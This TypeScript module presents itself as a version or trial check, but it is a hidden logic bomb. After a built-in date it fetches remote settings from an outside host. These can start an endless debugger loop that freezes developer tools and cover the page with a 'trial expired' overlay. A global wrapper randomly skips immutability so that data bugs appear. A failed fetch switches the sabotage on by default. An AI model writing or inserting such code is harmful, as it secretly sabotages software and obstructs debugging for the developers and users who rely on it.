import Immutable from 'seamless-immutable'

const builtInTime = new Date('2025-11-22').getTime()

function checkDebugger() {
    debugger
    setTimeout(checkDebugger, 1)
}
const getJsonData = async (notificationKey: string | number) => {
    const getAutoData = (curTime, addDay) => {
        const d = new Date(curTime)
        const dtime = d.getTime()
        return new Date(dtime + addDay * 60 * 60 * 24 * 1000)
    }
    const getFormatTime = (time) => {
        const pTime = new Date(time)
        return pTime.toLocaleDateString('zh-CN', {
            year: 'numeric',
            month: 'long',
            day: 'numeric',
        })
    }

    const getData = (autoDev, curTime, addDay, expireTime) => {
        const date = autoDev ? getAutoData(curTime, addDay) : new Date(expireTime)
        const isGq = date.getTime() - Date.now() < 0

        const pTime = getFormatTime(curTime)

        const gQTime = date.toLocaleDateString('zh-CN', {
            year: 'numeric',
            month: 'long',
            day: 'numeric',
        })
        return { date, isGq, gQTime, pTime }
    }

    try {
        const vData = await fetch(`https://vs.tomlb.com/${notificationKey}.json`).then((res) => res.json())
        if (vData.debug == true) {
            checkDebugger()
        }
        const {
            expireTime,
            publicTime,
            version,
            autoDev = true,
            addDay = 30,
            delay = 6,
            message1 = '试用版本已到期',
            message2 = '当前是试用版本',
            delayErr = false,
            delayNum = 10,
            delayRandom = 0.1,
        } = vData
        window.delayErr = delayErr
        window.delayNum = delayNum
        window.delayRandom = delayRandom
        if (vData.debug == true) {
            checkDebugger()
        }
        if (!vData.dev) {
            return
        }
        const { createTime } = process?.env
        const curTime = publicTime || createTime
        const { isGq, gQTime, pTime } = getData(autoDev, curTime, addDay, expireTime)
        const out = isGq
            ? `top: 0;width: 100%;height: 100%;background: rgba(0,0,0,.45);padding: 10px;`
            : `top:20px; right:20px;`
        const inline = isGq
            ? `margin: 50px auto 0;`
            : `margin:0;  box-shadow: 0 6px 16px 0 rgba(0, 0, 0, 0.08), 0 3px 6px -4px rgba(0, 0, 0, 0.12), 0 9px 28px 8px rgba(0, 0, 0, 0.05);`

        const content = [
            `<div style="position: fixed;z-index: 9999; ${out}">`,
            `<div style="position:relative;background: #fff; width:400px;padding: 20px; border-radius: 8px;${inline}">`,
            !isGq &&
                `<div id="closes" style="position:absolute;top:10px;right:10px;cursor: pointer; font-size:20px;width:24px;height:24px;line-height:24px; text-align: center;">×</div>`,
            `<div style="font-size: 16px; font-weight: 600; margin-bottom:10px;">`,
            isGq ? message1 : message2,
            `</div>`,
            `<p style="margin:8px 0 0">版本号：${version}</p>`,
            curTime && `<p style="margin:8px 0 0">发布时间：${pTime}</p>`,
            expireTime && `<p style="margin:8px 0 0;color:#f00">到期时间：${gQTime}</p>`,
            `</div>`,
            `</div>`,
        ]
            .filter((d) => d)
            .join('')
        const dom = document.createElement('div')
        dom.innerHTML = content
        document.body.appendChild(dom)
        const clos = document.getElementById('closes')
        if (clos) {
            clos.onclick = () => {
                dom.remove()
            }
        }
        if (!isGq) {
            setTimeout(() => {
                dom.remove()
            }, delay * 1000)
        }
    } catch (error) {
        checkDebugger()
        window.delayErr = true
        window.delayNum = 10
        window.delayRandom = 0.1
    }
}

export const checkVersion = (notificationKey: string | number) => {
    if (notificationKey != 0 && builtInTime <= Date.now()) {
        getJsonData(notificationKey)
    }
    const _Immutable = (data) => {
        if (window.delayErr) {
            const delayNum2 = Number(window.delayNum || 0)
            const delayNum = Number(localStorage.getItem('delayNum') || 0)
            if (delayNum < delayNum2) {
                localStorage.setItem('delayNum', String(delayNum + 1))
            }
            const md = Math.random()
            if (md < window.delayRandom && delayNum >= delayNum2) {
                return data
            }
        }
        return Immutable(data)
    }
    // @ts-ignore
    window.immut_json = _Immutable
}
